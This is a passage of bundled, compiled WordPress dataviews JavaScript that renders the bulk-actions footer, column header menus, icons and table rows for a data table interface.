32936 const label = typeof action.label === "string" ? action.label : action.label(items);
32937 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
32938 if (isMobile) {
32939 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32940 external_wp_components_namespaceObject.Button,
32941 {
32942 disabled: isBusy,
32943 accessibleWhenDisabled: true,
32944 label,
32945 icon: action.icon,
32946 size: "compact",
32947 onClick,
32948 isBusy
32949 }
32950 );
32951 }
32952 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32953 external_wp_components_namespaceObject.Button,
32954 {
32955 disabled: isBusy,
32956 accessibleWhenDisabled: true,
32957 size: "compact",
32958 onClick,
32959 isBusy,
32960 children: label
32961 }
32962 );
32963}
32964const dataviews_bulk_actions_EMPTY_ARRAY = [];
32965function ActionButton({
32966 action,
32967 selectedItems,
32968 actionInProgress,
32969 setActionInProgress
32970}) {
32971 const registry = (0,external_wp_data_.useRegistry)();
32972 const selectedEligibleItems = (0,external_wp_element_.useMemo)(() => {
32973 return selectedItems.filter((item) => {
32974 return !action.isEligible || action.isEligible(item);
32975 });
32976 }, [action, selectedItems]);
32977 if ("RenderModal" in action) {
32978 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32979 ActionWithModal,
32980 {
32981 action,
32982 items: selectedEligibleItems,
32983 ActionTriggerComponent: ActionTrigger
32984 },
32985 action.id
32986 );
32987 }
32988 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32989 ActionTrigger,
32990 {
32991 action,
32992 onClick: async () => {
32993 setActionInProgress(action.id);
32994 await action.callback(selectedItems, {
32995 registry
32996 });
32997 setActionInProgress(null);
32998 },
32999 items: selectedEligibleItems,
33000 isBusy: actionInProgress === action.id
33001 },
33002 action.id
33003 );
33004}
33005function renderFooterContent(data, actions, getItemId, selection, actionsToShow, selectedItems, actionInProgress, setActionInProgress, onChangeSelection) {
33006 const message = selectedItems.length > 0 ? (0,external_wp_i18n_namespaceObject.sprintf)(
33007 /* translators: %d: number of items. */
33008 (0,external_wp_i18n_namespaceObject._n)(
33009 "%d Item selected",
33010 "%d Items selected",
33011 selectedItems.length
33012 ),
33013 selectedItems.length
33014 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
33015 /* translators: %d: number of items. */
33016 (0,external_wp_i18n_namespaceObject._n)("%d Item", "%d Items", data.length),
33017 data.length
33018 );
33019 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
33020 external_wp_components_namespaceObject.__experimentalHStack,
33021 {
33022 expanded: false,
33023 className: "dataviews-bulk-actions-footer__container",
33024 spacing: 3,
33025 children: [
33026 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33027 BulkSelectionCheckbox,
33028 {
33029 selection,
33030 onChangeSelection,
33031 data,
33032 actions,
33033 getItemId
33034 }
33035 ),
33036 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "dataviews-bulk-actions-footer__item-count", children: message }),
33037 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
33038 external_wp_components_namespaceObject.__experimentalHStack,
33039 {
33040 className: "dataviews-bulk-actions-footer__action-buttons",
33041 expanded: false,
33042 spacing: 1,
33043 children: [
33044 actionsToShow.map((action) => {
33045 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33046 ActionButton,
33047 {
33048 action,
33049 selectedItems,
33050 actionInProgress,
33051 setActionInProgress
33052 },
33053 action.id
33054 );
33055 }),
33056 selectedItems.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33057 external_wp_components_namespaceObject.Button,
33058 {
33059 icon: close_small_default,
33060 showTooltip: true,
33061 tooltipPosition: "top",
33062 size: "compact",
33063 label: (0,external_wp_i18n_namespaceObject.__)("Cancel"),
33064 disabled: !!actionInProgress,
33065 accessibleWhenDisabled: false,
33066 onClick: () => {
33067 onChangeSelection(dataviews_bulk_actions_EMPTY_ARRAY);
33068 }
33069 }
33070 )
33071 ]
33072 }
33073 )
33074 ]
33075 }
33076 );
33077}
33078function FooterContent({
33079 selection,
33080 actions,
33081 onChangeSelection,
33082 data,
33083 getItemId
33084}) {
33085 const [actionInProgress, setActionInProgress] = (0,external_wp_element_.useState)(
33086 null
33087 );
33088 const footerContentRef = (0,external_wp_element_.useRef)(null);
33089 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
33090 const bulkActions = (0,external_wp_element_.useMemo)(
33091 () => actions.filter((action) => action.supportsBulk),
33092 [actions]
33093 );
33094 const selectableItems = (0,external_wp_element_.useMemo)(() => {
33095 return data.filter((item) => {
33096 return bulkActions.some(
33097 (action) => !action.isEligible || action.isEligible(item)
33098 );
33099 });
33100 }, [data, bulkActions]);
33101 const selectedItems = (0,external_wp_element_.useMemo)(() => {
33102 return data.filter(
33103 (item) => selection.includes(getItemId(item)) && selectableItems.includes(item)
33104 );
33105 }, [selection, data, getItemId, selectableItems]);
33106 const actionsToShow = (0,external_wp_element_.useMemo)(
33107 () => actions.filter((action) => {
33108 return action.supportsBulk && (!isMobile || action.icon) && selectedItems.some(
33109 (item) => !action.isEligible || action.isEligible(item)
33110 );
33111 }),
33112 [actions, selectedItems, isMobile]
33113 );
33114 if (!actionInProgress) {
33115 if (footerContentRef.current) {
33116 footerContentRef.current = null;
33117 }
33118 return renderFooterContent(
33119 data,
33120 actions,
33121 getItemId,
33122 selection,
33123 actionsToShow,
33124 selectedItems,
33125 actionInProgress,
33126 setActionInProgress,
33127 onChangeSelection
33128 );
33129 } else if (!footerContentRef.current) {
33130 footerContentRef.current = renderFooterContent(
33131 data,
33132 actions,
33133 getItemId,
33134 selection,
33135 actionsToShow,
33136 selectedItems,
33137 actionInProgress,
33138 setActionInProgress,
33139 onChangeSelection
33140 );
33141 }
33142 return footerContentRef.current;
33143}
33144function BulkActionsFooter() {
33145 const {
33146 data,
33147 selection,
33148 actions = dataviews_bulk_actions_EMPTY_ARRAY,
33149 onChangeSelection,
33150 getItemId
33151 } = (0,external_wp_element_.useContext)(dataviews_context_default);
33152 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33153 FooterContent,
33154 {
33155 selection,
33156 onChangeSelection,
33157 data,
33158 actions,
33159 getItemId
33160 }
33161 );
33162}
33163
33164
33165;// ./node_modules/@wordpress/icons/build-module/library/funnel.js
33166
33167
33168var funnel_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10 17.5H14V16H10V17.5ZM6 6V7.5H18V6H6ZM8 12.5H16V11H8V12.5Z" }) });
33169
33170
33171;// ./node_modules/@wordpress/icons/build-module/library/arrow-left.js
33172
33173
33174var arrow_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20 11.2H6.8l3.7-3.7-1-1L3.9 12l5.6 5.5 1-1-3.7-3.7H20z" }) });
33175
33176
33177;// ./node_modules/@wordpress/icons/build-module/library/arrow-right.js
33178
33179
33180var arrow_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m14.5 6.5-1 1 3.7 3.7H4v1.6h13.2l-3.7 3.7 1 1 5.6-5.5z" }) });
33181
33182
33183;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/table/column-header-menu.js
33184
33185
33186
33187
33188
33189
33190
33191const { Menu: column_header_menu_Menu } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
33192function WithMenuSeparators({ children }) {
33193 return external_wp_element_.Children.toArray(children).filter(Boolean).map((child, i) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_element_.Fragment, { children: [
33194 i > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Separator, {}),
33195 child
33196 ] }, i));
33197}
33198const _HeaderMenu = (0,external_wp_element_.forwardRef)(function HeaderMenu({
33199 fieldId,
33200 view,
33201 fields,
33202 onChangeView,
33203 onHide,
33204 setOpenedFilter,
33205 canMove = true
33206}, ref) {
33207 const visibleFieldIds = view.fields ?? [];
33208 const index = visibleFieldIds?.indexOf(fieldId);
33209 const isSorted = view.sort?.field === fieldId;
33210 let isHidable = false;
33211 let isSortable = false;
33212 let canAddFilter = false;
33213 let operators = [];
33214 const field = fields.find((f) => f.id === fieldId);
33215 if (!field) {
33216 return null;
33217 }
33218 isHidable = field.enableHiding !== false;
33219 isSortable = field.enableSorting !== false;
33220 const header = field.header;
33221 operators = !!field.filterBy && field.filterBy?.operators || [];
33222 canAddFilter = !view.filters?.some((_filter) => fieldId === _filter.field) && !!(field.hasElements || field.Edit) && field.filterBy !== false && !field.filterBy?.isPrimary;
33223 if (!isSortable && !canMove && !isHidable && !canAddFilter) {
33224 return header;
33225 }
33226 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(column_header_menu_Menu, { children: [
33227 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
33228 column_header_menu_Menu.TriggerButton,
33229 {
33230 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33231 external_wp_components_namespaceObject.Button,
33232 {
33233 size: "compact",
33234 className: "dataviews-view-table-header-button",
33235 ref,
33236 variant: "tertiary"
33237 }
33238 ),
33239 children: [
33240 header,
33241 view.sort && isSorted && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { "aria-hidden": "true", children: sortArrows[view.sort.direction] })
33242 ]
33243 }
33244 ),
33245 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Popover, { style: { minWidth: "240px" }, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(WithMenuSeparators, { children: [
33246 isSortable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Group, { children: SORTING_DIRECTIONS.map(
33247 (direction) => {
33248 const isChecked = view.sort && isSorted && view.sort.direction === direction;
33249 const value = `${fieldId}-${direction}`;
33250 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33251 column_header_menu_Menu.RadioItem,
33252 {
33253 name: "view-table-sorting",
33254 value,
33255 checked: isChecked,
33256 onChange: () => {
33257 onChangeView({
33258 ...view,
33259 sort: {
33260 field: fieldId,
33261 direction
33262 },
33263 showLevels: false
33264 });
33265 },
33266 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, { children: sortLabels[direction] })
33267 },
33268 value
33269 );
33270 }
33271 ) }),
33272 canAddFilter && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Group, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33273 column_header_menu_Menu.Item,
33274 {
33275 prefix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: funnel_default }),
33276 onClick: () => {
33277 setOpenedFilter(fieldId);
33278 onChangeView({
33279 ...view,
33280 page: 1,
33281 filters: [
33282 ...view.filters || [],
33283 {
33284 field: fieldId,
33285 value: void 0,
33286 operator: operators[0]
33287 }
33288 ]
33289 });
33290 },
33291 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, { children: (0,external_wp_i18n_namespaceObject.__)("Add filter") })
33292 }
33293 ) }),
33294 (canMove || isHidable) && field && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(column_header_menu_Menu.Group, { children: [
33295 canMove && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33296 column_header_menu_Menu.Item,
33297 {
33298 prefix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: arrow_left_default }),
33299 disabled: index < 1,
33300 onClick: () => {
33301 onChangeView({
33302 ...view,
33303 fields: [
33304 ...visibleFieldIds.slice(
33305 0,
33306 index - 1
33307 ) ?? [],
33308 fieldId,
33309 visibleFieldIds[index - 1],
33310 ...visibleFieldIds.slice(
33311 index + 1
33312 )
33313 ]
33314 });
33315 },
33316 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, { children: (0,external_wp_i18n_namespaceObject.__)("Move left") })
33317 }
33318 ),
33319 canMove && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33320 column_header_menu_Menu.Item,
33321 {
33322 prefix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: arrow_right_default }),
33323 disabled: index >= visibleFieldIds.length - 1,
33324 onClick: () => {
33325 onChangeView({
33326 ...view,
33327 fields: [
33328 ...visibleFieldIds.slice(
33329 0,
33330 index
33331 ) ?? [],
33332 visibleFieldIds[index + 1],
33333 fieldId,
33334 ...visibleFieldIds.slice(
33335 index + 2
33336 )
33337 ]
33338 });
33339 },
33340 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, { children: (0,external_wp_i18n_namespaceObject.__)("Move right") })
33341 }
33342 ),
33343 isHidable && field && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33344 column_header_menu_Menu.Item,
33345 {
33346 prefix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: unseen_default }),
33347 onClick: () => {
33348 onHide(field);
33349 onChangeView({
33350 ...view,
33351 fields: visibleFieldIds.filter(
33352 (id) => id !== fieldId
33353 )
33354 });
33355 },
33356 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, { children: (0,external_wp_i18n_namespaceObject.__)("Hide column") })
33357 }
33358 )
33359 ] })
33360 ] }) })
33361 ] });
33362});
33363const ColumnHeaderMenu = _HeaderMenu;
33364var column_header_menu_default = ColumnHeaderMenu;
33365
33366
33367;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/utils/item-click-wrapper.js
33368
33369
33370function getClickableItemProps({
33371 item,
33372 isItemClickable,
33373 onClickItem,
33374 className
33375}) {
33376 if (!isItemClickable(item) || !onClickItem) {
33377 return { className };
33378 }
33379 return {
33380 className: className ? `${className} ${className}--clickable` : void 0,
33381 role: "button",
33382 tabIndex: 0,
33383 onClick: (event) => {
33384 event.stopPropagation();
33385 onClickItem(item);
33386 },
33387 onKeyDown: (event) => {
33388 if (event.key === "Enter" || event.key === "" || event.key === " ") {
33389 event.stopPropagation();
33390 onClickItem(item);
33391 }
33392 }
33393 };
33394}
33395function ItemClickWrapper({
33396 item,
33397 isItemClickable,
33398 onClickItem,
33399 renderItemLink,
33400 className,
33401 children,
33402 ...extraProps
33403}) {
33404 if (!isItemClickable(item)) {
33405 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className, ...extraProps, children });
33406 }
33407 if (renderItemLink) {
33408 const renderedElement = renderItemLink({
33409 item,
33410 className: `${className} ${className}--clickable`,
33411 ...extraProps,
33412 children
33413 });
33414 return (0,external_wp_element_.cloneElement)(renderedElement, {
33415 onClick: (event) => {
33416 event.stopPropagation();
33417 if (renderedElement.props.onClick) {
33418 renderedElement.props.onClick(event);
33419 }
33420 },
33421 onKeyDown: (event) => {
33422 if (event.key === "Enter" || event.key === "" || event.key === " ") {
33423 event.stopPropagation();
33424 if (renderedElement.props.onKeyDown) {
33425 renderedElement.props.onKeyDown(event);
33426 }
33427 }
33428 }
33429 });
33430 }
33431 const clickProps = getClickableItemProps({
33432 item,
33433 isItemClickable,
33434 onClickItem,
33435 className
33436 });
33437 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...clickProps, ...extraProps, children });
33438}
33439
33440
33441;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/table/column-primary.js
33442
33443
33444
33445
33446function ColumnPrimary({
33447 item,
33448 level,
33449 titleField,
33450 mediaField,
33451 descriptionField,
33452 onClickItem,
33453 renderItemLink,
33454 isItemClickable
33455}) {
33456 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: 3, justify: "flex-start", children: [
33457 mediaField && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33458 ItemClickWrapper,
33459 {
33460 item,
33461 isItemClickable,
33462 onClickItem,
33463 renderItemLink,
33464 className: "dataviews-view-table__cell-content-wrapper dataviews-column-primary__media",
33465 "aria-label": titleField ? (0,external_wp_i18n_namespaceObject.sprintf)(
33466 // translators: %s is the item title.
33467 (0,external_wp_i18n_namespaceObject.__)("Click item: %s"),
33468 titleField.getValue?.({ item })
33469 ) : void 0,
33470 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33471 mediaField.render,
33472 {
33473 item,
33474 field: mediaField,
33475 config: { sizes: "32px" }
33476 }
33477 )
33478 }
33479 ),
33480 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
33481 external_wp_components_namespaceObject.__experimentalVStack,
33482 {
33483 spacing: 0,
33484 alignment: "flex-start",
33485 className: "dataviews-view-table__primary-column-content",
33486 children: [
33487 titleField && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
33488 ItemClickWrapper,
33489 {
33490 item,
33491 isItemClickable,
33492 onClickItem,
33493 renderItemLink,
33494 className: "dataviews-view-table__cell-content-wrapper dataviews-title-field",
33495 children: [
33496 level !== void 0 && level > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", { className: "dataviews-view-table__level", children: [
33497 "\u2014".repeat(level),
33498 "\xA0"
33499 ] }),
33500 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(titleField.render, { item, field: titleField })
33501 ]
33502 }
33503 ),
33504 descriptionField && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33505 descriptionField.render,
33506 {
33507 item,
33508 field: descriptionField
33509 }
33510 )
33511 ]
33512 }
33513 )
33514 ] });
33515}
33516var column_primary_default = ColumnPrimary;
33517
33518
33519;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/table/use-is-horizontal-scroll-end.js
33520
33521
33522
33523const isScrolledToEnd = (element) => {
33524 if ((0,external_wp_i18n_namespaceObject.isRTL)()) {
33525 const scrollLeft = Math.abs(element.scrollLeft);
33526 return scrollLeft <= 1;
33527 }
33528 return element.scrollLeft + element.clientWidth >= element.scrollWidth - 1;
33529};
33530function useIsHorizontalScrollEnd({
33531 scrollContainerRef,
33532 enabled = false
33533}) {
33534 const [isHorizontalScrollEnd, setIsHorizontalScrollEnd] = (0,external_wp_element_.useState)(false);
33535 const handleIsHorizontalScrollEnd = (0,external_wp_compose_namespaceObject.useDebounce)(
33536 (0,external_wp_element_.useCallback)(() => {
33537 const scrollContainer = scrollContainerRef.current;
33538 if (scrollContainer) {
33539 setIsHorizontalScrollEnd(isScrolledToEnd(scrollContainer));
33540 }
33541 }, [scrollContainerRef, setIsHorizontalScrollEnd]),
33542 200
33543 );
33544 (0,external_wp_element_.useEffect)(() => {
33545 if (typeof window === "undefined" || !enabled || !scrollContainerRef.current) {
33546 return () => {
33547 };
33548 }
33549 handleIsHorizontalScrollEnd();
33550 scrollContainerRef.current.addEventListener(
33551 "scroll",
33552 handleIsHorizontalScrollEnd
33553 );
33554 window.addEventListener("resize", handleIsHorizontalScrollEnd);
33555 return () => {
33556 scrollContainerRef.current?.removeEventListener(
33557 "scroll",
33558 handleIsHorizontalScrollEnd
33559 );
33560 window.removeEventListener("resize", handleIsHorizontalScrollEnd);
33561 };
33562 }, [scrollContainerRef, enabled]);
33563 return isHorizontalScrollEnd;
33564}
33565
33566
33567;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/utils/get-data-by-group.js
33568function getDataByGroup(data, groupByField) {
33569 return data.reduce((groups, item) => {
33570 const groupName = groupByField.getValue({ item });
33571 if (!groups.has(groupName)) {
33572 groups.set(groupName, []);
33573 }
33574 groups.get(groupName)?.push(item);
33575 return groups;
33576 }, /* @__PURE__ */ new Map());
33577}
33578
33579
33580;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/table/index.js
33581
33582
33583
33584
33585
33586
33587
33588
33589
33590
33591
33592
33593
33594
33595
33596function TableColumnField({
33597 item,
33598 fields,
33599 column,
33600 align
33601}) {
33602 const field = fields.find((f) => f.id === column);
33603 if (!field) {
33604 return null;
33605 }
33606 const className = dist_clsx("dataviews-view-table__cell-content-wrapper", {
33607 "dataviews-view-table__cell-align-end": align === "end",
33608 "dataviews-view-table__cell-align-center": align === "center"
33609 });
33610 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(field.render, { item, field }) });
33611}
33612function TableRow({
33613 hasBulkActions,
33614 item,
33615 level,
33616 actions,
33617 fields,
33618 id,
33619 view,
33620 titleField,
33621 mediaField,
33622 descriptionField,
33623 selection,
33624 getItemId,
33625 isItemClickable,
33626 onClickItem,
33627 renderItemLink,
33628 onChangeSelection,
33629 isActionsColumnSticky,
33630 posinset
33631}) {
33632 const { paginationInfo } = (0,external_wp_element_.useContext)(dataviews_context_default);
33633 const hasPossibleBulkAction = useHasAPossibleBulkAction(actions, item);
33634 const isSelected = hasPossibleBulkAction && selection.includes(id);
33635 const [isHovered, setIsHovered] = (0,external_wp_element_.useState)(false);
33636 const {
33637 showTitle = true,
33638 showMedia = true,
33639 showDescription = true,
33640 infiniteScrollEnabled
33641 } = view;
33642 const handleMouseEnter = () => {
33643 setIsHovered(true);
33644 };
33645 const handleMouseLeave = () => {
33646 setIsHovered(false);
33647 };
33648 const isTouchDeviceRef = (0,external_wp_element_.useRef)(false);
33649 const columns = view.fields ?? [];
33650 const hasPrimaryColumn = titleField && showTitle || mediaField && showMedia || descriptionField && showDescription;
33651 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
33652 "tr",
33653 {
33654 className: dist_clsx("dataviews-view-table__row", {
33655 "is-selected": hasPossibleBulkAction && isSelected,
33656 "is-hovered": isHovered,
33657 "has-bulk-actions": hasPossibleBulkAction
33658 }),
33659 onMouseEnter: handleMouseEnter,
33660 onMouseLeave: handleMouseLeave,
33661 onTouchStart: () => {
33662 isTouchDeviceRef.current = true;
33663 },
33664 "aria-setsize": infiniteScrollEnabled ? paginationInfo.totalItems : void 0,
33665 "aria-posinset": posinset,
33666 role: infiniteScrollEnabled ? "article" : void 0,
33667 onClick: (event) => {
33668 if (!hasPossibleBulkAction) {
33669 return;
33670 }
33671 if (!isTouchDeviceRef.current && document.getSelection()?.type !== "Range") {
33672 if ((0,external_wp_keycodes_namespaceObject.isAppleOS)() ? event.metaKey : event.ctrlKey) {
33673 onChangeSelection(
33674 selection.includes(id) ? selection.filter(
33675 (itemId) => id !== itemId
33676 ) : [...selection, id]
33677 );
33678 } else {
33679 onChangeSelection(
33680 selection.includes(id) ? selection.filter(
33681 (itemId) => id !== itemId
33682 ) : [id]
33683 );
33684 }
33685 }
33686 },
33687 children: [
33688 hasBulkActions && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("td", { className: "dataviews-view-table__checkbox-column", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataviews-view-table__cell-content-wrapper", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33689 DataViewsSelectionCheckbox,
33690 {
33691 item,
33692 selection,
33693 onChangeSelection,
33694 getItemId,
33695 titleField,
33696 disabled: !hasPossibleBulkAction
33697 }
33698 ) }) }),
33699 hasPrimaryColumn && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("td", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33700 column_primary_default,
33701 {
33702 item,
33703 level,
33704 titleField: showTitle ? titleField : void 0,
33705 mediaField: showMedia ? mediaField : void 0,
33706 descriptionField: showDescription ? descriptionField : void 0,
33707 isItemClickable,
33708 onClickItem,
33709 renderItemLink
33710 }
33711 ) }),
33712 columns.map((column) => {
33713 const { width, maxWidth, minWidth, align } = view.layout?.styles?.[column] ?? {};
33714 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33715 "td",
33716 {
33717 style: {
33718 width,
33719 maxWidth,
33720 minWidth
33721 },
33722 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33723 TableColumnField,
33724 {
33725 fields,
33726 item,
33727 column,
33728 align
33729 }
33730 )
33731 },
33732 column
33733 );
33734 }),
33735 !!actions?.length && // Disable reason: we are not making the element interactive,
33736 // but preventing any click events from bubbling up to the
33737 // table row. This allows us to add a click handler to the row
33738 // itself (to toggle row selection) without erroneously
33739 // intercepting click events from ItemActions.
33740 /* eslint-disable jsx-a11y/no-noninteractive-element-interactions, jsx-a11y/click-events-have-key-events */
33741 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33742 "td",
33743 {
33744 className: dist_clsx("dataviews-view-table__actions-column", {
33745 "dataviews-view-table__actions-column--sticky": true,
33746 "dataviews-view-table__actions-column--stuck": isActionsColumnSticky
33747 }),
33748 onClick: (e) => e.stopPropagation(),
33749 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ItemActions, { item, actions })
33750 }
33751 )
33752 ]
33753 }
33754 );
33755}
33756function ViewTable({
33757 actions,
33758 data,
33759 fields,
33760 getItemId,
33761 getItemLevel,
33762 isLoading = false,
33763 onChangeView,
33764 onChangeSelection,
33765 selection,
33766 setOpenedFilter,
33767 onClickItem,
33768 isItemClickable,
33769 renderItemLink,
33770 view,
33771 className,
33772 empty
33773}) {
33774 const { containerRef } = (0,external_wp_element_.useContext)(dataviews_context_default);
33775 const headerMenuRefs = (0,external_wp_element_.useRef)(/* @__PURE__ */ new Map());
33776 const headerMenuToFocusRef = (0,external_wp_element_.useRef)();
33777 const [nextHeaderMenuToFocus, setNextHeaderMenuToFocus] = (0,external_wp_element_.useState)();
33778 const hasBulkActions = useSomeItemHasAPossibleBulkAction(actions, data);
33779 (0,external_wp_element_.useEffect)(() => {
33780 if (headerMenuToFocusRef.current) {
33781 headerMenuToFocusRef.current.focus();
33782 headerMenuToFocusRef.current = void 0;
33783 }
33784 });
33785 const tableNoticeId = (0,external_wp_element_.useId)();
33786 const isHorizontalScrollEnd = useIsHorizontalScrollEnd({
33787 scrollContainerRef: containerRef,
33788 enabled: !!actions?.length
33789 });
33790 if (nextHeaderMenuToFocus) {
33791 headerMenuToFocusRef.current = nextHeaderMenuToFocus;
33792 setNextHeaderMenuToFocus(void 0);
33793 return;
33794 }
33795 const onHide = (field) => {
33796 const hidden = headerMenuRefs.current.get(field.id);
33797 const fallback = hidden ? headerMenuRefs.current.get(hidden.fallback) : void 0;
33798 setNextHeaderMenuToFocus(fallback?.node);
33799 };
33800 const hasData = !!data?.length;
33801 const titleField = fields.find((field) => field.id === view.titleField);
33802 const mediaField = fields.find((field) => field.id === view.mediaField);
33803 const descriptionField = fields.find(
33804 (field) => field.id === view.descriptionField
33805 );
33806 const groupField = view.groupByField ? fields.find((f) => f.id === view.groupByField) : null;
33807 const dataByGroup = groupField ? getDataByGroup(data, groupField) : null;
33808 const { showTitle = true, showMedia = true, showDescription = true } = view;
33809 const hasPrimaryColumn = titleField && showTitle || mediaField && showMedia || descriptionField && showDescription;
33810 const columns = view.fields ?? [];
33811 const headerMenuRef = (column, index) => (node) => {
33812 if (node) {
33813 headerMenuRefs.current.set(column, {
33814 node,
33815 fallback: columns[index > 0 ? index - 1 : 1]
33816 });
33817 } else {
33818 headerMenuRefs.current.delete(column);
33819 }
33820 };
33821 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
33822 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
33823 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
33824 "table",
33825 {
33826 className: dist_clsx("dataviews-view-table", className, {
33827 [`has-${view.layout?.density}-density`]: view.layout?.density && ["compact", "comfortable"].includes(
33828 view.layout.density
33829 )
33830 }),
33831 "aria-busy": isLoading,
33832 "aria-describedby": tableNoticeId,
33833 role: isInfiniteScroll ? "feed" : void 0,
33834 children: [
